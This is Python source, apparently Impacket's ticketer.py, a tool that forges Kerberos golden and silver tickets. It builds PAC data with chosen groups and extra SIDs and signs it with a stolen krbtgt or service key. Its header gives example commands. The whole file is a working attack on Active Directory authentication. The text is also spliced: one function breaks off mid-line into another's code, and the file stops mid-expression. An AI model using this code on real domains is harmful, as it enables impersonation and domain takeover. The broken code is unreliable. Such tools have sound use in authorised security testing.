#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) # allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the # groups, extrasids, etc. # Tickets duration is fixed to 10 years from now (although you can manually change it) # # Examples: # ./ticketer.py -nthash -domain-sid -domain baduser # # will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. # If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 # (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as # baduser.ccache. # # ./ticketer.py -nthash -aesKey -domain-sid -domain # -request -user -password baduser # # will first authenticate against the KDC (using -user/-password) and get a TGT that will be used # as template for customization. Whatever encryption algorithms used on that ticket will be honored, # hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved # as baduser.ccache. # # Author: # Alberto Solino (@agsolino) # # References: # - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: # (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) # - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz # (https://github.com/gentilkiwi/mimikatz) # # ToDo: # [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh # [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC # from __future__ import division from __future__ import print_function import argparse import datetime import logging import random import string import struct import sys from calendar import timegm from time import strptime from binascii import unhexlify from six import b from pyasn1.codec.der import encoder, decoder from pyasn1.type.univ import noValue from impacket import version from impacket.dcerpc.v5.dtypes import RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from impacket.examples import logger from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ KERB_NON_KERB_CKSUM_SALT from impacket.krb5.keytab import Keytab from impacket.krb5.crypto import Key, _enctype_table from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants, pac from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1 from impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key from impacket.krb5.kerberosv5 import sendReceive from impacket.krb5.types import Ticket from impacket.winregistry import hexdump class TICKETER: def __init__(self, target, password, domain, options): self.__password = password self.__target = target self.__domain = domain self.__options = options self.__tgt = None self.__tgt_session_key = None if options.spn: spn = options.spn.split('/') self.__service = spn[0] self.__server = spn[1] if options.keytab is not None: self.loadKeysFromKeytab(options.keytab) # we are creating a golden ticket else: self.__service = 'krbtgt' self.__server = self.__domain @staticmethod def getFileTime(t): t *= 10000000 t += 116444736000000000 return t @staticmethod def getPadLength(data_length): return ((data_length + 7) // 8 * 8) - data_length @staticmethod def getBlockLength(data_length): return (data_length + 7) // 8 * 8 def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain)) if keyblock: if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128: options.aesKey = keyblock.hexlifiedValue() elif keyblock["keytype"] == Enctype.RC4: options.nthash = keyblock.hexlifiedValue() else: logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn) def createBasicValidationInfo(self): # 1) KERB_VALIDATION_INFO kerbdata = KERB_VALIDATION_INFO() aTime = timegm(datetime.datetime.utcnow().timetuple()) unixTime = self.getFileTime(aTime) kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__target kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') if len(groups) == 0: # PrimaryGroupId must be set, default to 513 (Domain User) kerbdata['PrimaryGroupId'] = 513 else: # Using first group as primary group kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain.upper() kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = VALIDATION_INFO() validationInfo['Data'] = kerbdata return validationInfo def createBasicPac(self, kdcRep): validationInfo = self.createBasicValidationInfo() pacInfos = {} pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() srvCheckSum = PAC_SIGNATURE_DATA() privCheckSum = PAC_SIGNATURE_DATA() if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value srvCheckSum['Signature'] = b'\x00' * 16 privCheckSum['Signature'] = b'\x00' * 16 else: srvCheckSum['Signature'] = b'\x00' * 12 privCheckSum['Signature'] = b'\x00' * 12 if len(self.__options.aesKey) == 64: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value else: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() clientInfo = PAC_CLIENT_INFO() clientInfo['Name'] = self.__target.encode('utf-16le') clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() if self.__options.extra_pac: self.createUpnDnsPac(pacInfos) if self.__options.old_pac is False: self.createAttributesInfoPac(pacInfos) self.createRequestorInfoPac(pacInfos) return pacInfos def createUpnDnsPac(self, pacInfos): upnDnsInfo = UPN_DNS_INFO_FULL() PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") upnDnsInfo['UpnLength'] = len(upn_data) upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] pad = self.getPadLength(total_len) upn_data += b'\x00' * pad dns_name = self.__domain.upper().encode("utf-16-le") upnDnsInfo['DnsDomainNameLength'] = len(dns_name) upnDnsInfo['DnsDomainNameOffset'] = total_len + pad total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] pad = self.getPadLength(total_len) dns_name += b'\x00' * pad # Enable additional data mode (Sam + SID) upnDnsInfo['Flags'] = 2 samName = self.__target.encode("utf-16-le") upnDnsInfo['SamNameLength'] = len(samName) upnDnsInfo['SamNameOffset'] = total_len + pad total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] pad = self.getPadLength(total_len) samName += b'\x00' * pad user_sid = SID() user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") upnDnsInfo['SidLength'] = len(user_sid) upnDnsInfo['SidOffset'] = total_len + pad total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] pad = self.getPadLength(total_len) user_data = user_sid.getData() + b'\x00' * pad # Post-PAC data post_pac_data = upn_data + dns_name + samName + user_data # Pac data building pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data @staticmethod def createAttributesInfoPac(pacInfos): pacAttributes = PAC_ATTRIBUTE_INFO() pacAttributes["FlagsLength"] = 2 pacAttributes["Flags"] = 1 pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() def createRequestorInfoPac(self, pacInfos): pacRequestor = PAC_REQUESTOR() pacRequestor['UserSid'] = SID() pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData() def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: logging.info('Requesting TGT to target domain to use as basis') else: logging.info('Requesting TGT/TGS to target domain to use as basis') if self.__options.hashes is not None: lmhash, nthash = self.__options.hashes.split(':') else: lmhash = '' nthash = '' userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) encPartCipher = int(kdcRep['enc-part']['etype']) if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ self.__options.nthash is None: logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 'Can\'t continue ( or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is None: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) > 32: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) < 64: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 'Can\'t continue') return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') if self.__domain == self.__server: kdcRep = AS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value else: kdcRep = TGS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value kdcRep['pvno'] = 5 if self.__options.nthash is None: kdcRep['padata'] = noValue kdcRep['padata'][0] = noValue kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue if len(self.__options.aesKey) == 64: etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) encodedEtype2 = encoder.encode(etype2) kdcRep['padata'][0]['padata-value'] = encodedEtype2 kdcRep['crealm'] = self.__domain.upper() kdcRep['cname'] = noValue kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target kdcRep['ticket'] = noValue kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value kdcRep['ticket']['realm'] = self.__domain.upper() kdcRep['ticket']['sname'] = noValue kdcRep['ticket']['sname']['name-string'] = noValue kdcRep['ticket']['sname']['name-string'][0] = self.__service if self.__domain == self.__server: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() else: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['ticket']['sname']['name-string'][1] = self.__server kdcRep['ticket']['enc-part'] = noValue kdcRep['ticket']['enc-part']['kvno'] = 2 kdcRep['enc-part'] = noValue if self.__options.nthash is None: if len(self.__options.aesKey) == 64: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['kvno'] = 2 kdcRep['enc-part']['cipher'] = noValue pacInfos = self.createBasicPac(kdcRep) return kdcRep, pacInfos def getKerberosS4U2SelfU2U(self): tgt = self.__tgt cipher = self.__tgt_cipher sessionKey = self.__tgt_session_key kdcHost = self.__options.dc_ip decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) flags = [] for i in encTicketPart['flags']: flags.append(i) encRepPart['flags'] = flags encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') # Basic PAC count pac_count = 4 # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) pacUpnDnsInfoBlob = None pacUpnDnsInfoAlignment = None if PAC_UPN_DNS_INFO in pacInfos: pac_count += 1 pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) pacAttributesInfoBlob = None pacAttributesInfoAlignment = None if PAC_ATTRIBUTES_INFO in pacInfos: pac_count += 1 pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) pacRequestorInfoBlob = None pacRequestorInfoAlignment = None if PAC_REQUESTOR_INFO in pacInfos: pac_count += 1 pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) pacUpnDnsInfoIB = None if pacUpnDnsInfoBlob is not None: pacUpnDnsInfoIB = PAC_INFO_BUFFER() pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) pacUpnDnsInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) pacAttributesInfoIB = None if pacAttributesInfoBlob is not None: pacAttributesInfoIB = PAC_INFO_BUFFER() pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) pacAttributesInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) pacRequestorInfoIB = None if pacRequestorInfoBlob is not None: pacRequestorInfoIB = PAC_INFO_BUFFER() pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) pacRequestorInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() if pacUpnDnsInfoIB is not None: buffers += pacUpnDnsInfoIB.getData() if pacAttributesInfoIB is not None: buffers += pacAttributesInfoIB.getData() if pacRequestorInfoIB is not None: buffers += pacRequestorInfoIB.getData() buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment if pacUpnDnsInfoIB is not None: buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment if pacAttributesInfoIB is not None: buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment if pacRequestorInfoIB is not None: buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + 